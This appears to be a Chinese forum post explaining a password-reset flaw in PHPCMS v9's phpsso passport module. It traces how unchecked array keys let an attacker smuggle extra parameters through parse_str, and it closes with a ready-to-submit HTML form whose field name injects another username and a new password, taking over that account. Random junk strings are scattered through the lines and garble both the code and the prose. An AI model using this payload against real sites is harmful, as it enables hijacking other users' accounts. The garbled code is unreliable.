提到的通行证的代码:* S3 [5 b) j' [) H& T; y; v3 c2 u$ G
( B/ M9 U2 p2 \9 q) M% {5 c
+ d3 m% S& p7 I" c! A& l+ U" O0 p6 Pparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
0 Z3 y6 ?6 q; b6 D" c& j) w
8 R& m$ G0 X( i; s# M$ ]在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
0 w4 e( [1 r0 ]2 p+ T& W) c6 s5 C2 S/ I6 {; w
我把它留给了你们。
, w% H" U* u+ b: g& ^6 y; b不知道你们发现了它没有。4 q7 f. ], T( b
, T: y4 G# I: Y我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。& e' D* F1 L8 { B/ H. h
! K; a6 w6 @- I3 ]3 f所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" @2 }- p0 H' {3 I" o \9 y4 c$ V9 [
# l" u, E, j9 {) ^1 X W
也就是4 H+ C& l' b5 J6 c& E5 r
5 L; u6 Y( C9 Y; B& J/ z3 q" X6 _username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
$ ~, ~+ g$ g% G+ J( R- ?* M6 G. w$ v( ]8 x h; p2 o
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
: w, D) p b4 n
, k2 n, Q) [& I6 N9 y
\1 Y- `7 v* _1 W* [4 ?7 i其实我们有这样的机会,看看代码,如下:# g, Z! R2 v) v; R: C& I
: b2 S" Z% S/ L: [- X- R3 a6 w* m
+ {+ S8 R; @6 V6 v- P" Tpublic function auth_data($data) {0 M7 q- a( b; G; B
$s = $sep = '';1 F2 h- a/ n+ ^$ D
foreach($data as $k => $v) {
$ f% @& ]8 ^) ?. h if(is_array($v)) {
' Y5 U0 _7 D; c $s2 = $sep2 = '';6 c% d8 l% p4 }7 M, T# ^- g5 x& y
foreach($v as $k2 => $v2) {
. K+ U$ S+ W- u- ` $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
0 @7 E( s3 b) U6 v) D $sep2 = '&';
. q) z" _7 u4 ? }
. j2 E: m7 ^* R6 \' G6 L" u $s .= $sep.$s2;
! H; `% U* n. v } else {
* \ N3 V0 n k, a! ~/ t2 b $s .= "$sep$k=".$this->_ps_stripslashes($v);. @8 |" V* u P
} H5 e' {% R6 w5 h8 y T- B7 C
$sep = '&';
* `. ^8 u$ [+ [3 x5 Y! \ }+ J# Z& |) b4 ?0 v5 W$ S P0 s/ C
7 L& L4 w* Q7 |: n
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
, l5 X, L3 J6 J return $auth_s;
+ ]0 l7 P+ }# J' R( x6 j+ P% k }9 J$ @. N( p! s! x
9 g& }# O" Q( l% z4 L3 c, A
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
- \7 r) Z7 c5 N2 Y5 a- g# Z" f! |' D4 z! z& O% X+ e9 w+ i( k
举个例子+ |3 S6 E4 ?2 z; t6 Z. C
. v; V5 X( L+ d* }$a[aaa=a&bbb] = 'a';
/ v8 [2 `- ~/ J% W6 x+ o6 O$ Q) s5 A0 g5 ^; i: q X' N
会变成aaa=a&bbb=a
3 j/ n2 I- ]5 w `& J! D) [) {4 U, q, [! B; [5 S- A
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
8 X& M. Z) D; {" T$ i" t; K, b+ U% z7 D1 u8 C& F y H) b
这个时候,我们可以再去看一个函数。
; A/ M5 H6 ^4 ]/ B6 h& N; e; f% _+ l: Y8 A- [0 W
就在这个文件内:
& r& i% ], E2 q. D$ k
) m7 Y) L! }6 p- ~$ O( c6 u& @
+ m( S- s" v) J% h3 r* y" [5 Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# {, P2 P0 T9 ?
if($email && !$this->_is_email($email)) {
" y+ C% T& L. c# x2 K. Q return -4;) ~. k6 ]) J& s- \
}0 l; Z1 H2 Z) e5 J! D8 P% L
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));& ^ l7 q z, J! g- ?9 ?1 i) G
}
8 e) n3 v( C* z* w3 z( p$ y% ?, g6 h3 t) i/ s8 s4 c+ ~( |0 { a/ ^
这是向通行证发了这样一个请求。* Y; r1 e% i+ ] r4 _ J" q( d
( G0 {* @ q: n1 {5 Q/ l
我们再跟到通信证代码里去看看,就会有所发现。 J) w$ O2 M. c1 V6 U6 m
. Q3 y) ?% G6 T
( Z) o1 V$ y: A# N3 [# c7 g' T/ zpublic function edit() {
- i8 k U! i; [0 `; `/ [//能省就省,太长了不是吗?
I$ @: h, N% z3 S# o* s5 t/ H7 i
if($this->username) {
* p4 H7 L Y) E//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ N" a. m% l1 ^; Q $res = $this->db->update($data, array('username'=>$this->username));
% }* `+ }' V- C' l } else {
% ]$ D) e5 k; Y: f" g. s: ^ file_put_contents('typeb.txt',print_r($data,1).$this->uid);2 J1 W* O2 W" T" o! u8 c; v! L% P
$res = $this->db->update($data, array('uid'=>$this->uid));2 J: d. I, w _9 T/ Z
}
: z- U- F' J- L N' l6 z/ i1 a7 B; `) D( X
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:, o) j3 M/ l6 r( y6 R; }
/ S# j3 X# K/ Wpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
7 X7 Q5 q" N- O
' e% a3 Y$ l4 }, S# r很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。6 j$ ~, Z0 ^4 w# T# t7 i9 u
i" u) g( j# g$ s& g) y" t我当然找到了:
- O4 p; O/ {5 g" B/ |phpcms9/phpcms/modules/member/index.php
6 |) ]/ _8 T! p$ p# b, d9 [& N L+ i$ D5 _! m4 `* m
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" t0 u2 P6 i# Y- y
# i4 z( V5 w7 F5 w然后就没有然后了。
2 Z+ d2 f# E( j8 h
. y0 Z3 F$ L$ l<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">2 a# `8 \0 [, Y6 W# A5 z8 z# e
<table width="100%" cellspacing="0" class="table_form">6 Q& A( B5 R/ c$ t2 y2 a& {( v' l- Z
<tr>8 t1 I8 @) ?1 t& y
<th width="80">邮箱:</th>
# S& U8 J2 f0 u& _ U, d <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
. A) U* m9 p1 J1 p7 O </tr>
3 G4 r* i! N4 H <tr>
) J- S! H; n5 i8 Q <th width="80">原密码:</th>
, H* y, Y0 d! g+ W9 a1 r <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
; |% L7 O! q5 [/ `8 o </tr>
+ Z) o/ J) \: G5 F6 R9 k2 [, @ <tr>' `- D7 s. ?- r6 i
<th>新密码:</th>" I) g% R- V- H# t5 v0 J. H) a
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ k3 w Y9 ~2 n4 ~' h </tr>
1 C$ N: v' L; l C5 |5 F6 T4 o. M <th></th>
5 x! A: [6 O" L0 s0 X- I1 v' y <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
2 {( V5 H# D( C. K5 k( C" b6 J </tr>
6 ~+ s$ J7 ^) E' F2 z( I, ] </table>
& D& Z# j. e) _$ Q/ l+ y1 g7 u2 t3 T7 ~
6 q! N _, B! t' I7 C </form> [$ R; s/ P9 z* z( Y0 Y# m4 {
|